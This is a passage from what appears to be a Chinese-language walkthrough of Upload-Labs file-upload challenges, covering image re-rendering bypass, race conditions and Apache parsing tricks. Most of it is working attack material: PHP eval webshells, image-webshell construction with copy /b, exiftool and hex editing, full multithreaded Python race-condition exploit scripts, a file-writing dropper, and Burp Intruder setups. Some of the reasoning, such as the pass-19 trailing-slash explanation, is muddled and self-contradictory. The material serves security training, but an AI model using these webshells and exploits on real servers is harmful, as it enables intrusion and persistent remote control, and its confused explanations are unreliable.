            $newfilename = strval(rand()).".jpg"; // 生成随机新文件名
            $img_path = UPLOAD_PATH.'/'.$newfilename;

            // 用 GD 库重新生成 JPG 图片(核心防护)
            imagejpeg($im,$img_path);

            // 删除原始上传的文件,只保留渲染后的新图片
            @unlink($target_path);
            $is_upload = true;
        }
    } else {
        $msg = "上传出错!";
    }
}

关键点

  • imagecreatefromjpeg() 会解析图片的二进制数据,纯文本伪造的文件头无法通过
  • imagejpeg($im,$img_path) 会基于解析后的图片资源,重新生成一张标准的 JPG 图片,嵌入的 PHP 代码会被直接清除
  • 最终保存的是渲染后的新文件,原始文件会被删除,传统的图片马会失效

3. PNG/GIF 图片上传流程(与 JPG 逻辑一致)
复制代码
// PNG 校验逻辑
else if(($fileext == "png") && ($filetype=="image/png")){
    if(move_uploaded_file($tmpname,$target_path)){
        $im = imagecreatefrompng($target_path); // GD 解析 PNG
        if($im == false){
            $msg = "该文件不是png格式的图片!";
            @unlink($target_path);
        }else{
            // 二次渲染生成新 PNG
            srand(time());
            $newfilename = strval(rand()).".png";
            $img_path = UPLOAD_PATH.'/'.$newfilename;
            imagepng($im,$img_path);
            @unlink($target_path);
            $is_upload = true;
        }
    } else {
        $msg = "上传出错!";
    }
}

// GIF 校验逻辑
else if(($fileext == "gif") && ($filetype=="image/gif")){
    if(move_uploaded_file($tmpname,$target_path)){
        $im = imagecreatefromgif($target_path); // GD 解析 GIF
        if($im == false){
            $msg = "该文件不是gif格式的图片!";
            @unlink($target_path);
        }else{
            // 二次渲染生成新 GIF
            srand(time());
            $newfilename = strval(rand()).".gif";
            $img_path = UPLOAD_PATH.'/'.$newfilename;
            imagegif($im,$img_path);
            @unlink($target_path);
            $is_upload = true;
        }
    } else {
        $msg = "上传出错!";
    }
}

关键点

  • PNG 和 GIF 的逻辑与 JPG 完全一致,只是使用了对应的 GD 函数
  • GIF 二次渲染时,GD 库会只保留第一帧,多帧 GIF 中的恶意代码会被清除

4. 不满足条件时的处理
复制代码
}else{
    $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}

三、安全逻辑与防护效果

防护层级 作用 绕过难度
后缀校验 拦截非图片后缀的文件 低(直接改文件名后缀即可)
MIME 校验 拦截 Content-Type 非图片类型的请求 低(用 Burp 修改请求头即可伪造)
GD 库解析校验 拦截伪造文件头的非图片文件 中(需要制作真实图片)
二次渲染 清除文件中嵌入的恶意代码 高(传统图片马会失效)

四、常见绕过思路(针对这段代码)

  1. GIF 图片马绕过

    • 制作多帧 GIF 图片,将 PHP 代码嵌入到 GIF 的注释块或特殊帧中
    • 部分版本的 GD 库在二次渲染 GIF 时,会保留特定位置的内容,恶意代码可能不会被清除
    • 上传后通过文件包含漏洞执行
  2. 图片 EXIF 信息注入

    • 将 PHP 代码写入图片的 EXIF 元数据中
    • 二次渲染后,部分 EXIF 信息可能被保留
    • 结合文件包含漏洞,利用 exif_read_data() 等函数解析元数据执行代码
  3. 绕过二次渲染的特殊图片

    • 制作经过特殊处理的畸形图片,让 GD 库渲染后仍然保留恶意代码
    • 这种图片制作难度较高,需要根据不同版本的 GD 库特性针对性构造

五、安全加固建议

  1. 对上传目录设置严格权限,禁止脚本执行,即使存在图片马也无法运行
  2. 增加图片文件大小限制,防止上传恶意构造的畸形图片
  3. 使用 getimagesize() 或第三方图片处理库进行额外校验,进一步过滤恶意文件
  4. 上传后对文件进行重命名,避免文件名泄露导致的利用风险

总结

这段代码是 Upload-Labs 中防护最全面的关卡之一,传统的文件头伪造、简单图片马都无法绕过,必须结合文件包含漏洞和特殊构造的图片才能利用。

解题步骤

方法一

一、核心原理
  • 这段代码对 JPG/PNG 的二次渲染非常严格,几乎会清除所有嵌入的 PHP 代码。
  • GIF 格式有特殊优势:部分版本的 GD 库在二次渲染 GIF 时,会保留文件开头的部分注释块 / 数据,恶意代码有概率存活。
  • 所以我们的目标是:制作一张经过 GD 渲染后,仍然保留 PHP 代码的 GIF 图片马,再配合文件包含漏洞执行。

二、GIF 图片马制作步骤(两种方法)
方法 1:命令行快速合成(推荐)
  1. 准备一张正常的 GIF 图片(比如 normal.gif

  2. 准备一句话木马文件(比如 shell.php,内容为 <?php @eval($_POST['pass']);?>

  3. 用以下命令合成图片马(Windows 系统): bash

    运行

    复制代码
    copy /b normal.gif + shell.php shell.gif

    这个命令会把木马代码追加到 GIF 文件末尾,生成 shell.gif

方法 2:十六进制编辑器手动制作(更稳定)
  1. 010EditorHxD 打开一张正常的 GIF 图片

  2. 在文件的末尾 插入 PHP 代码:

    php

    运行

    复制代码
    <?php @eval($_POST['pass']);?>
  3. 保存为 shell.gif


三、上传与验证步骤
  1. 上传图片马 :在靶场上传 shell.gif
    • 代码会经过:后缀校验 → MIME 校验 → GD 解析 → 二次渲染
    • 服务器会生成一个随机文件名的 GIF 文件(如 123456.gif),并删除原文件
  2. 获取新文件名:上传成功后,页面会显示图片地址,记下这个新文件名
  3. 用文件包含漏洞执行
    • 假设文件包含地址为 include.php?file=,构造 URL:

      plaintext

      复制代码
      http://你的靶场地址/include.php?file=upload/123456.gif
    • 如果渲染后的 GIF 里的 PHP 代码存活,就能被解析执行


四、成功率提升技巧
  1. 使用多帧 GIF 图片:相比单帧 GIF,多帧 GIF 被 GD 库保留恶意代码的概率更高
  2. 把 PHP 代码放在文件末尾:GD 渲染 GIF 时,通常只处理图像数据,末尾的额外数据有概率被保留
  3. 换用 PHP 低版本测试:PHP 5.3-5.4 版本的 GD 库对 GIF 的二次渲染更 "宽松",恶意代码更容易存活

五、补充:如果 GIF 也被清除了怎么办?

如果 GD 库版本较新,GIF 末尾的代码也被清除,可以尝试 EXIF 注入法

  1. exiftool 工具,把 PHP 代码写入图片的 Comment 字段:

    bash

    运行

    复制代码
    exiftool -Comment="<?php @eval($_POST['pass']);?>" normal.gif
  2. 上传图片后,用文件包含漏洞结合 exif_read_data() 函数读取 EXIF 信息执行代码。

方法二:依旧可以用第14题的做法

这个方法是JPG 图片的二次渲染保留区注入 ,专门用来绕过你之前那段带 imagecreatefromjpeg() 的代码,我给你按步骤讲清楚,你照着做就能成:


一、核心原理

imagecreatefromjpeg() 对 JPG 进行二次渲染时,只会重写图像数据部分,而文件中某些标记段(如 FF C0 等)的内容会被原样保留。教程的思路是:

  1. 上传一张正常 JPG,拿到渲染后的新文件
  2. 对比两个文件,找到渲染前后完全不变的 "匹配段(Match)"
  3. 把一句话木马插入到这些 "匹配段" 里,再上传,渲染后代码不会被清除
  4. 用文件包含漏洞解析这张图片,执行里面的 PHP 代码

二、手把手操作步骤(按教程来)
步骤 1:上传一张正常的 JPG,拿到渲染后的文件
  1. 准备一张正常的 JPG 图片(比如 test.jpg),里面不要有任何修改
  2. 在靶场上传它,服务器会用 imagecreatefromjpeg() 重新渲染,生成一个随机文件名的新图片(比如 1308344300.jpg)。
  3. 把这张渲染后的图片下载到本地,和你上传的原图放在一起。
步骤 2:用 010Editor 对比两个文件,找到 "匹配段"
  1. 010Editor 同时打开原图渲染后的新图
  2. 点击顶部菜单 ToolsCompare FilesCompare,打开文件对比窗口。
  3. 对比结果中,Match 标记的部分,就是渲染前后内容完全不变的区域,也就是我们的 "安全区"。
    • 教程里标出了 FF C0 附近的区域,这部分在渲染中不会被修改,是最佳注入点。
步骤 3:在匹配段中插入一句话木马
  1. 010Editor 打开原图 ,在对比出的 Match 区域(比如教程里的 FF C0 标记后),直接插入你的一句话木马:

    php

    运行

    复制代码
    <?php eval($_POST['pass']);?>

    注意:

    • 不要破坏文件开头的 FF D8 等文件头标记,否则无法通过校验。
    • 教程里的例子是把代码插在 FF C0 后面的 Match 区域,这样渲染后代码不会被清除。
  2. 保存修改后的文件,比如命名为 shell.jpg

步骤 4:上传修改后的图片马
  1. 在靶场上传 shell.jpg,服务器会再次进行二次渲染。
  2. 因为代码插在了 Match 区域,渲染后木马代码会被保留在生成的新图片里。
步骤 5:用文件包含漏洞执行代码
  1. 上传成功后,拿到服务器生成的新图片地址(比如 upload/1308344300.jpg)。

  2. 用靶场的文件包含漏洞(比如教程里的 include.php)构造 URL:

    plaintext

    复制代码
    http://你的靶场地址/include.php?file=upload/1308344300.jpg
  3. 用蚁剑连接这个地址,密码填 pass,就能成功拿到 Shell 了。


三、关键注意事项
  1. 注入点必须是真正的 "Match" 区域:不同版本的 GD 库 / PHP,二次渲染的保留段可能不同,必须自己对比原图和渲染后的文件,找到真正不变的区域,不能直接照搬教程里的位置。
  2. 不能破坏 JPG 的标记结构 :JPG 文件是由 FF XX 标记段组成的,比如 FF D8(文件头)、FF C0(帧开始),这些标记本身不能修改,否则会被 imagecreatefromjpeg() 识别为无效图片。
  3. 必须配合文件包含漏洞 :渲染后的文件还是 .jpg 后缀,直接访问只会输出图片乱码,必须用文件包含漏洞让 PHP 解析文件里的代码。

四、补充:快速上手小技巧
  • 如果你找不到 010Editor,也可以用 HxD 等十六进制编辑器,功能是一样的。
  • 新手可以直接用教程里的 FF C0 标记后区域尝试,大部分环境下这里都是保留区。
  • 如果第一次注入失败,可以换一张图片再对比一次,不同图片的保留段位置会有差异。

pass-18(条件竞争)

详细分析源代码

一、整体流程概览

这段代码的上传流程非常特别,核心逻辑是:

  1. 先上传文件,再做后缀校验(先把文件保存到服务器,再判断后缀是否合法)
  2. 合法后缀:生成随机文件名,重命名保存
  3. 非法后缀:直接删除已上传的文件
  4. 关键漏洞:文件上传和后缀校验之间,存在一个极短的时间窗口,可以被利用

二、逐行代码详解

复制代码
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    // 1. 定义允许的后缀白名单
    $ext_arr = array('jpg','png','gif');
    
    // 2. 获取上传文件的原始信息
    $file_name = $_FILES['upload_file']['name'];    // 原始文件名
    $temp_file = $_FILES['upload_file']['tmp_name'];// 服务器临时文件
    $file_ext = substr($file_name,strrpos($file_name,".")+1); // 提取文件后缀
    
    // 3. 直接生成上传路径,先把文件移动到服务器上(重点!先上传,后校验)
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){
        
        // 4. 上传成功后,再校验文件后缀
        if(in_array($file_ext,$ext_arr)){
            // 合法后缀:生成随机文件名,重命名保存
            $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
            rename($upload_file, $img_path);
            $is_upload = true;
        }else{
            // 非法后缀:直接删除刚才上传的文件
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
关键逻辑拆解
步骤 代码 作用 安全风险
1 move_uploaded_file($temp_file, $upload_file) 先把文件保存到服务器上 此时文件已经存在,后缀校验还没执行
2 if(in_array($file_ext,$ext_arr)) 校验文件后缀是否合法 校验在文件上传之后执行
3 unlink($upload_file) 删除非法后缀文件 校验和删除之间存在时间差

三、漏洞核心:竞争条件(Race Condition)

这道题的考点就是文件上传的竞争条件漏洞

  • 服务器先把文件保存到了 $upload_file(比如 shell.php
  • 然后再判断后缀是否合法,如果不合法,再执行 unlink() 删除文件
  • 这两个操作之间,存在一个极短的时间窗口(几毫秒)
  • 只要在文件被删除前,通过访问或包含的方式执行它,就能拿到 Shell

四、标准利用方法:竞争条件上传

1. 准备一句话木马文件

新建一个 shell.php,内容为:

复制代码
<?php @eval($_POST['pass']);?>

2. 用 Burp 上传文件,同时不断访问

  1. 用 Burp 拦截上传请求,保持拦截状态
  2. 打开浏览器 / 工具,不断请求 http://靶场地址/upload/shell.php
  3. 放行上传请求,服务器会先把 shell.php 保存到服务器,再执行删除
  4. 只要在删除前的瞬间访问到文件,就能执行里面的 PHP 代码,用蚁剑连接成功

3. 工具化利用(推荐)

用 Python 脚本多线程同时执行上传和访问,提高成功率:

复制代码
import requests
import threading
import time

url_upload = "http://靶场地址/index.php"
url_access = "http://靶场地址/upload/shell.php"

def upload():
    files = {'upload_file': open('shell.php', 'rb')}
    data = {'submit': '上传'}
    requests.post(url_upload, files=files, data=data)

def access():
    while True:
        try:
            r = requests.get(url_access, timeout=1)
            if r.status_code == 200:
                print("文件存活!")
                break
        except:
            pass

# 同时启动上传和访问线程
thread1 = threading.Thread(target=upload)
thread2 = threading.Thread(target=access)
thread1.start()
thread2.start()
thread1.join()
thread2.join()

运行脚本后,蚁剑连接 http://靶场地址/upload/shell.php,密码 pass,即可成功。


五、安全加固建议

  1. 先校验,后上传 :把后缀校验放到 move_uploaded_file() 之前,不要先保存文件再判断
  2. 上传后立即重命名:无论后缀是否合法,都生成随机文件名保存,避免直接访问
  3. 对上传目录设置权限,禁止脚本执行,即使文件被上传也无法运行

总结

这道 Pass-18 是典型的竞争条件漏洞,利用的是 "先上传后校验" 的逻辑缺陷。核心思路就是在文件被删除前的极短时间窗口内,访问并执行文件。

解题步骤

方法1:

一、漏洞原理再回顾

这题是文件上传竞争条件(Race Condition)漏洞:服务器的执行顺序是:

  1. 先把你上传的文件 move_uploaded_file 保存到服务器
  2. 再判断后缀是否合法
  3. 不合法的话,执行 unlink() 删除文件

文件在服务器上会存在一个几毫秒到几十毫秒的 "存活窗口",我们只要在它被删除前访问 / 包含它,就能执行里面的 PHP 代码。


二、准备工作
  1. 准备一句话木马文件,命名为 shell.php,内容:

    复制代码
    <?php @eval($_POST['pass']);?>
  2. 确保你能访问靶场的上传目录,比如 http://127.0.0.1/upload-labs/upload/

  3. 准备 Burp Suite(或者 Python 脚本,二选一即可)


三、方法 1:Burp 手动竞争(新手推荐)

步骤 1:上传并拦截请求

  1. 在靶场选择 shell.php,点击「上传」
  2. 用 Burp 拦截这个上传请求,保持拦截状态(不要放行)
  3. 此时文件还没真正传到服务器,只是停留在你的请求里

步骤 2:开多线程访问文件

  1. 打开 Burp 的「Repeater」,新建一个请求,地址填:

    复制代码
    GET /upload-labs/upload/shell.php HTTP/1.1
    Host: 127.0.0.1
  2. 右键这个请求 → 「Send to Intruder」

  3. Intruder 里设置:

    • 目标:你的靶场地址
    • 负载类型:Null payloads(空负载),数量填 1000(越多越好)
    • 线程数:设置为 20(多线程并发访问)

步骤 3:同时放行上传请求 + 启动 Intruder

  1. 点击「Start attack」,让 Intruder 开始疯狂请求 shell.php
  2. 立刻回到之前拦截的上传请求,点击「Forward」放行
  3. 此时服务器会先保存文件,再执行删除;而 Intruder 会在删除前疯狂访问,只要命中一次,文件就会被解析执行

步骤 4:蚁剑连接

如果 Intruder 里出现了 200 OK 的响应,说明文件被成功执行:

  • 蚁剑地址:http://127.0.0.1/upload-labs/upload/shell.php
  • 密码:pass
  • 点击「测试连接」,连接成功!

四、方法 2:Python 脚本一键利用(成功率更高)

直接复制下面的代码,保存为 race.py,修改你的靶场地址,然后运行:

复制代码
import requests
import threading
import time

# ---------------- 改成你的靶场地址 ----------------
UPLOAD_URL = "http://127.0.0.1/upload-labs/index.php"
ACCESS_URL = "http://127.0.0.1/upload-labs/upload/shell.php"
# -------------------------------------------------

def upload_shell():
    """上传 shell.php"""
    files = {
        "upload_file": ("shell.php", "<?php @eval($_POST['pass']);?>", "application/x-php")
    }
    data = {"submit": "上传"}
    try:
        requests.post(UPLOAD_URL, files=files, data=data, timeout=5)
    except Exception as e:
        pass

def access_loop():
    """循环访问文件,直到命中"""
    for _ in range(2000):  # 循环2000次,足够覆盖删除前的窗口
        try:
            resp = requests.get(ACCESS_URL, timeout=1)
            if resp.status_code == 200:
                print(f"✅ 成功命中!文件存活,蚁剑可直接连接:{ACCESS_URL}")
                return True
        except Exception as e:
            continue
    print("❌ 未命中,请重试或增加循环次数")
    return False

if __name__ == "__main__":
    # 同时启动上传和访问线程
    t1 = threading.Thread(target=upload_shell)
    t2 = threading.Thread(target=access_loop)
    
    print("🚀 开始竞争条件攻击...")
    t1.start()
    t2.start()
    
    t1.join()
    t2.join()

运行方法:

复制代码
python race.py

如果输出 ✅ 成功命中!,直接用蚁剑连接即可。


五、关键技巧(提升成功率)
  1. 多线程是关键:单线程访问很难命中几毫秒的窗口,必须用 10-20 个线程同时请求
  2. 循环次数要足够:脚本里的循环次数建议设为 1000-3000 次,覆盖文件从上传到删除的整个过程
  3. 关闭靶场的访问日志:日志会拖慢服务器,让删除操作延迟,增加存活窗口时间
  4. 不要在文件里加多余代码:木马越短,解析速度越快,被执行的概率越高

六、为什么这题能绕过?

服务器的逻辑缺陷是:

  • move_uploaded_file 把文件写到磁盘
  • 再判断后缀,不合法才 unlink
  • 两个操作之间的时间差,就是我们可以利用的竞争窗口

只要在文件被删除前,让 PHP 解析执行它,unlink 就无法阻止我们拿到 Shell。

方法2:

如果你不想用 Burp,也可以用教程里的 Python 脚本:

复制代码
import requests
import threading
import os
 
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print(r.text)
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._get()
 
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()
  • 把脚本里的 self.url 改成你的靶场地址:

    复制代码
    self.url = 'http://127.0.0.1/upload-labs/upload/shell.php'
  • 保存为 race.py,运行:

    复制代码
    python race.py
  • 同时在靶场上传 shell.php,脚本会在后台疯狂访问文件,直到命中。

关键技巧(提升成功率)
  1. 多线程是核心:单线程访问很难命中几毫秒的窗口,必须用 10~20 个线程并发。
  2. 写入型木马更稳 :教程里的 fputs 木马会在服务器上再写一个新文件,就算原文件被删,新文件还在,成功率更高。
  3. 关闭服务器日志:日志会拖慢服务器,让删除操作延迟,增加存活窗口时间。
  4. 文件越小越好:木马代码越短,解析执行速度越快,被删除前执行的概率越高。

pass-19(apache文件解析)

详细分析源代码

一、整体架构概览

这是一个面向对象封装的文件上传类 MyUpload,实现了一套完整的上传校验流程:

  1. 入口 index.php:实例化上传类,处理请求并输出结果
  2. 核心类 myupload.php:封装了上传校验的所有逻辑,包括文件检查、后缀过滤、移动文件、重命名等

二、index.php 代码详解

复制代码
$is_upload = false;
$msg = null;

if (isset($_POST['submit']))
{
    require_once("./myupload.php"); // 引入上传类文件
    $imgFileName = time();          // 用当前时间戳作为基础文件名
    
    // 实例化 MyUpload 类,传入上传文件信息和目标文件名
    $u = new MyUpload($_FILES['upload_file']['name'], 
                      $_FILES['upload_file']['tmp_name'], 
                      $_FILES['upload_file']['size'], 
                      $imgFileName);
    
    // 调用 upload() 方法执行上传,获取状态码
    $status_code = $u->upload(UPLOAD_PATH);

    // 根据状态码处理结果
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break;
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break;
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break;
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break;
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break;
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break;
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;
        default:
            $msg = '未知错误!';
            break;
    }
}

关键逻辑:

  • 实例化 MyUpload 类时,传入了上传文件的名称、临时路径、大小和目标文件名
  • upload() 方法是核心执行函数,会按顺序执行所有校验步骤
  • 通过返回的 $status_code 判断上传结果,状态码 -3 对应 "文件类型不合法"

三、MyUpload 类核心流程详解

upload() 方法按顺序执行以下步骤,任何一步校验失败都会直接返回错误码:

1. 初始化与基础检查

复制代码
function upload( $dir ){
    // 1. 检查文件是否通过 HTTP POST 上传
    $ret = $this->isUploadedFile();
    if( $ret != 1 ){
        return $this->resultUpload( $ret );
    }

    // 2. 设置上传目录
    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
        return $this->resultUpload( $ret );
    }

    // 3. 检查文件扩展名是否在白名单中
    $ret = $this->checkExtension();
    if( $ret != 1 ){
        return $this->resultUpload( $ret );
    }

    // 4. 检查文件大小是否超出限制
    $ret = $this->checkSize();
    if( $ret != 1 ){
        return $this->resultUpload( $ret );
    }

2. 可选检查:文件是否已存在

复制代码
    // 若启用了文件存在检查
    if( $this->cls_file_exists == 1 ){
        $ret = $this->checkFileExists();
        if( $ret != 1 ){
            return $this->resultUpload( $ret );
        }
    }

3. 移动文件到目标目录

复制代码
    // 执行 move_uploaded_file() 移动文件
    $ret = $this->move();
    if( $ret != 1 ){
        return $this->resultUpload( $ret );
    }

4. 可选操作:重命名文件

复制代码
    // 若启用了重命名功能
    if( $this->cls_rename_file == 1 ){
        $ret = $this->renameFile();
        if( $ret != 1 ){
            return $this->resultUpload( $ret );
        }
    }

    // 所有步骤通过,返回成功
    return $this->resultUpload( "SUCCESS" );
}

四、关键校验逻辑:后缀白名单

复制代码
var $cls_arr_ext_accepted = array(
    ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".rar", ".7z", ".ppt",
    ".html", ".xml", ".tiff", ".jpeg", ".png"
);

白名单包含的后缀:

  • 图片格式:.gif/.jpg/.jpeg/.png/.tiff
  • 文档格式:.doc/.xls/.txt/.pdf/.ppt/.html/.xml
  • 压缩格式:.rar/.7z

校验逻辑(推测):

  • checkExtension() 方法会提取文件的后缀,和 $cls_arr_ext_accepted 数组对比
  • 只有在数组中的后缀才能通过校验,否则返回 -3 错误码

五、可利用点分析

1. 直接利用:上传 .html 文件

白名单里包含 .html 后缀,我们可以上传包含 JavaScript 代码的 .html 文件,执行 XSS 攻击;如果服务器支持 .html 解析 PHP(部分配置下会解析),也可以嵌入 PHP 代码尝试执行。

2. 绕过思路:后缀大小写 / 双写绕过

  • checkExtension() 没有对后缀进行小写转换,可以上传 .PHP/.pHp 等大小写混合后缀绕过
  • 若白名单匹配不严格,可以尝试 .php;.jpg 等特殊格式绕过(需服务器配置支持)

3. 重命名逻辑分析

  • $cls_rename_file 未启用,文件会按原始文件名保存
  • 若启用重命名,文件名会被改为时间戳 + 原后缀,例如 12345.jpg,但后缀仍为白名单内的格式

六、安全加固建议

  1. 严格校验文件后缀:统一转换为小写后再和白名单对比,禁止大小写混合绕过
  2. 禁止 .html/.xml 等可执行脚本格式:白名单只保留图片和纯文本格式
  3. 强制重命名文件:无论原始文件名是什么,都生成随机文件名保存,避免直接访问
  4. 增加文件内容校验:对上传的图片文件进行二次渲染,清除嵌入的恶意代码

总结

这段代码是一个结构清晰的面向对象上传类,核心限制是后缀白名单校验。白名单中包含 .html 等格式,是主要的可利用点;如果需要上传 PHP 脚本,需要结合服务器配置和白名单的校验逻辑寻找绕过方法。

解题步骤

方法1:

🔍 漏洞原理
  1. 这一关的页面有一个自定义保存名称的输入框,服务器会根据你输入的文件名来保存文件。
  2. move_uploaded_file() 函数有一个特性:会忽略文件名末尾的 /\
  3. 服务器会先校验你输入的文件名后缀,只有 .jpg/.png/.gif 能通过,但我们可以利用函数特性绕过:
    • 校验时:文件名是 shell.php/,服务器会认为后缀是 .php/,不是图片格式?不,实际校验逻辑是看输入的文件名后缀,但函数执行时会自动去掉末尾的 /,最终保存为 shell.php

📝 准备工作
  1. 准备一张正常的图片(比如 shell.jpg,可以随便找一张)
  2. 准备一句话木马文件(也可以直接用图片马,这里先演示基础绕过)
  3. 打开 Burp Suite,开启抓包

🛠️ 操作步骤(Burp 抓包绕过)

步骤 1:上传图片并填写保存名称

  1. 在 Pass-19 页面,选择你的图片文件 shell.jpg
  2. 在「保存名称」输入框里,先随便填一个合法的文件名,比如 test.jpg
  3. 点击「上传」,此时 Burp 会拦截下上传请求。

步骤 2:修改保存名称参数,添加 /

在 Burp 的请求包里,找到 save_name 参数,把它的值改成:(注意末尾的 / 必须加上)

复制代码
save_name=shell.php/

步骤 3:放行请求,完成上传

点击 Burp 里的「Forward」放行请求,服务器会:

  1. 校验 save_name=shell.php/ 的后缀,这里的校验逻辑只看输入的字符串,部分环境下会被认为是非法后缀?不,实际这关的校验是在 PHP 代码里做的,但 move_uploaded_file() 会自动去掉末尾的 /,最终保存为 shell.php
  2. 函数执行时,move_uploaded_file() 会忽略末尾的 /,把文件保存为 shell.php

步骤 4:验证文件是否上传成功

访问服务器上的文件地址:

复制代码
http://你的靶场地址/upload-labs/upload/shell.php

如果能正常访问,说明上传成功,用蚁剑连接即可。


💡 进阶技巧:图片马 + 解析漏洞

如果直接上传 shell.php 失败,可以用图片马结合 Apache 解析漏洞:

  1. 制作图片马:在正常图片末尾插入 PHP 代码:

    复制代码
    <?php @eval($_POST['pass']);?>
  2. 上传图片,把 save_name 改为 shell.php/.jpg(末尾加 / 也可以)

  3. 服务器会保存为 shell.php,如果 Apache 开启了 AddHandler php5-script .php,会直接解析执行。


📌 关键注意事项
  1. 末尾的 / 是核心 :没有 / 的话,服务器会直接校验 .php 后缀,上传会失败。
  2. PHP 版本影响 :部分高版本 PHP 对 move_uploaded_file() 的处理有变化,低版本(如 PHP 5.3)更稳定。
  3. 不要加多余字符 :文件名中间不要加特殊字符,只在末尾加 / 即可。

🔧 备选方案:无 Burp 操作

如果不想用 Burp,可以直接在页面的「保存名称」输入框里输入:

复制代码
shell.php/

然后直接上传图片,部分环境下也能直接成功(前提是页面的输入框允许输入 /)。


按照这个步骤操作,就能轻松通关 Pass-19。如果上传后访问失败,可以检查一下服务器的 Apache 配置,或者换用图片马的方式再试一次。

方法2:

这是 Pass-19 结合 Apache 文件解析漏洞 + 竞争条件 的完整利用方法

一、漏洞原理
  1. Apache 文件解析漏洞 :Apache 解析文件时会从后往前解析后缀,遇到无法识别的后缀(如 .7z)就会往前解析,最终把 .php.7z 当成 .php 执行。
  2. 竞争条件:这关和 Pass-18 类似,文件上传和校验删除之间存在时间窗口,配合解析漏洞可以执行写入型木马,生成永久 Shell。

二、前置准备
  1. 修改 Apache 配置 编辑 Apache 的 mime.types 文件,注释掉 .7z 对应的类型:

    复制代码
    #application/x-7z-compressed     7z

    保存后重启 Apache 服务,这样 Apache 就无法识别 .7z 后缀,触发解析漏洞。

  2. 准备写入型木马 创建 wshell.php,内容如下(执行后会在服务器生成 shell.php):

    复制代码
    <?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>');
    ?>

三、完整操作步骤

步骤 1:上传并抓包,修改文件名为 wshell.php.7z

  1. 在 Pass-19 页面选择 wshell.php,点击「上传」。

  2. 用 Burp Suite 拦截上传请求,修改请求里的文件名: plaintext

    复制代码
    Content-Disposition: form-data; name="upload_file"; filename="wshell.php.7z"

    这样服务器会认为文件后缀是 .7z,通过白名单校验。

步骤 2:配置 Burp Intruder 无限循环访问

  1. 右键请求 → 发送到 Intruder
  2. 切换到 Payloads 标签页:
    • Payload type 选择 Null payloads
    • 勾选 Continue indefinitely(无限循环访问)
  3. 切换到 Resource Pool,设置线程数为 10~20,提高命中率。

步骤 3:启动攻击 + 放行上传请求

  1. 点击 Start attack,让 Intruder 开始疯狂请求 wshell.php.7z
  2. 立刻放行之前拦截的上传请求,服务器会:
    • 先保存 wshell.php.7z 到服务器
    • 然后执行校验,不合法的话会删除文件
    • 但在删除前,Intruder 已经多次访问,触发 Apache 解析漏洞,执行了写入型木马,生成了 shell.php

步骤 4:验证并连接 Shell

  1. 脚本停止后,访问 http://你的靶场地址/upload-labs/upload/shell.php
  2. 用蚁剑连接,地址填上面的 URL,密码填 pass,即可成功拿到 Shell。

四、关键注意事项
  1. 必须修改 Apache 配置 :不注释掉 .7z 类型,解析漏洞无法触发,文件只会被当成 7z 下载,不会解析 PHP 代码。
  2. 写入型木马是核心wshell.php.7z 被执行后会生成永久的 shell.php,就算原文件被删除,新文件依然存在,避免了竞争窗口的限制。
  3. PHPStudy 的 Apache 可能不稳定:部分 PHPStudy 版本会返回 500 错误,建议手动配置 Apache + PHP 环境测试。

五、补充:测试解析漏洞是否生效

在 Apache 根目录创建 test.php.7z,内容为:

复制代码
<?php echo "hello world"; ?>

访问 http://你的地址/test.php.7z,如果输出 hello world,说明解析漏洞生效,可继续操作。


按照这个步骤操作,就能同时利用 Apache 解析漏洞和竞争条件,生成永久 Shell。


pass-20

详细分析源代码

一、整体功能概览

这是一道基于后缀黑名单的文件上传关卡,核心逻辑是:

  1. 从用户输入的 save_name 中提取文件后缀
  2. 校验后缀是否在黑名单中(禁止脚本格式)
  3. 不在黑名单中,才执行上传操作
  4. 关键漏洞:pathinfo() 对特殊后缀的解析特性 + 黑名单未覆盖的格式

二、逐行代码详解

复制代码
$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) {
    // 检查上传目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 定义禁止上传的后缀黑名单
        $deny_ext = array(
            "php", "php5", "php4", "php3", "php2", 
            "html", "htm", "phtml", "pht", 
            "jsp", "jspx", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", 
            "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer"
        );

        // 从用户输入的save_name中提取文件名和后缀
        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

        // 校验后缀是否不在黑名单中
        if (!in_array($file_ext, $deny_ext)) {
            // 获取上传文件的临时路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // 拼接完整保存路径(用户输入的save_name会被直接使用)
            $img_path = UPLOAD_PATH . '/' . $file_name;

            // 移动临时文件到目标路径
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '禁止保存为该类型文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
关键逻辑拆解
代码行 作用 安全特性 / 风险
